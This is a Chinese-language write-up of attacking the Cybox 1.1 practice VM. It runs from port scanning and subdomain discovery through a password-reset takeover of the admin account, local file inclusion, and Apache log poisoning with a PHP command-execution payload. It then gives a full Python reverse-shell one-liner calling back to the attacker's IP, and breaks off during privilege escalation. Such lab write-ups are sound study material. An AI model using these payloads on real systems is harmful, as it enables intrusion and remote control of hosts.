Cybox1.1靶机渗透过程

准备环境

攻击机:WSL-Kali-Linux
目标靶机:Cybox1.1
平台:VMware Workstation 16.2
靶机为NAT模式

一、信息搜集

1.主机嗅探

靶机启动完成直线显示IP,靶机的IP192.168.9.129

1

2.端口扫描

直接甩kali里面一把梭

nmap -A -p- 192.168.9.129

2

开放了以下端口

21FTP(文件传输协议)
25SMTP(邮件传输协议)
53domain(域名解析服务)
80web(网页web服务)
110POP3(邮局协议3)
143IMAP(交互式邮件存取协议)
443web(网页web服务,SSL安全加密协议)

该靶机没开放22端口,意味着不能直接ssh连上去

3.访问其web页面

3

在主页最下边发现有个域名邮箱,推测可能需要子域名爆破

先进行网站目录爆破

dirsearch -u 192.168.9.129

4

并没有什么可以下手的地方

回到开始,发现页脚有个域名邮箱,尝试子域名爆破

gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

5

尝试修改hosts文件,手动指向靶机

6

IP域名
192.168.9.129cybox.company
192.168.9.129dev.cybox.company
192.168.9.129ftp.cybox.company
192.168.9.129monitor.cybox.company
192.168.9.129register.cybox.company
192.168.9.129webmail.cybox.company

一次访问各个页面,搜集可用信息

  • 1.dev.cybox.company

7

是个phpinfo页面

  • 2.ftp.cybox.company

8

是一个ftp页面,应该有文件传输功能,且需要验证用户名密码

  • 3.monitor.cybox.company

9

是一个登录界面,下面两个连接分别跳转到注册和找回密码

  • 4.register.cybox.company

10

  • 5.webmail.cybox.company

11

是一个邮箱登录页面

二、漏洞挖掘

1.寻找程序漏洞

http://monitor.cybox.company/register.php 随便注册一下

12

登录进去之后发现只是一个创建条目记录时间的功能,暂不清楚其作用

13

这里再测试一下admin用户是否存在

14

发现admin@cybox.company已经存在

访问重置密码的界面

15

尝试在webmail页面登录进去,查看重置密码的邮件

16

发现无法登录进去,说明刚在在monitor页面注册账户并不互通,尝试在register页面注册同名账户

17

注册完成之后,下面提示用户名和密码都是qwe,返回webmail页面登录

18

再次发送重置密码的邮件

19

2.漏洞利用

打开bp抓包,对着连接进行修改,尝试越权修改admin账户的密码

20

将这里的qwe改为admin

21

然后放包,就提示密码修改成功

22

使用admin账户登入后台

24

发现有个Admin panel管理员控制面板

24

该网站正在施工。。。

查看该页面的源码

25

此处包含了一个styles.php页面,可能存在文件包含漏洞,尝试进行文件包含/etc/network/interface

26

文件包含测试成功,说明此处确实存在文件包含漏洞

可以利用apache日志来进行反弹shellapache日志文件存放路径为/opt/bitnami/apache2/logs/access_log,利用文件包含漏洞可以先查看此日志文件

27

当访问ftp页面的时候,日志输出了请求

28

打开bp,刷新ftp页面,将User-Agent改成命令执行

29

改为<?php system($_GET['s']);?>

30

放包,然后就可以在文件包含的地方进行命令注入

31

3.反弹shell

直接将变量s赋值为反弹shell代码,反弹到kali上面,选用443端口的原因是靶机只部分端口有数据包出入,包括但不限于443端口

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.24.59.243',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

32

kali上启动nc监听

nc -lvvp 443

33

成功拿到权限较低的shell

三、提权

1.查找可用提权文件

查找有s权限的文件,即以root权限执行进程的文件

find / -perm -u=s -type f 2>/dev/null

34

发现位于/opt下的registerlauncher文件,以str类型打开他它,直接cat会乱码,发现有个/opt/register

35

查看/opt/register文件

36

靶机坏了,做nm,告辞?